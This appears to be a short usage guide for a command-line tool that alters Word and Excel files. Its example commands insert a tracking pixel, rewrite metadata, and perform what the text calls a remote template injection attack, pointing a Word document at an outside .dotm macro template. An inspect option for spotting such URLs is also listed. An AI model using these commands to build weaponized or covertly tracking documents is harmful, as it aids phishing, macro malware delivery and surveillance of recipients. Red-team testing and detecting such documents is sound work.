Available document types listed below. If you want to insert tracking URL just use either Document or Workbook types, other types listed here are only for document creation (#TODO).

$ doctrack --list-types
Document              (*.docx)
MacroEnabledDocument  (*.docm)
MacroEnabledTemplate  (*.dotm)
Template              (*.dotx)
Workbook              (*.xlsx)
MacroEnabledWorkbook  (*.xlsm)
MacroEnabledTemplateX (*.xltm)
TemplateX             (*.xltx)

Insert tracking pixel and change document metadata:

$ doctrack -t Document -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png

Insert remote template URL (remote template injection attack), works only with Word documents:

$ doctrack -t Document -i test.docx -o test.docx --url http://test.url/template.dotm --template

Inspect external target URLs and metadata:

$ doctrack -t Document -i test.docx --inspect
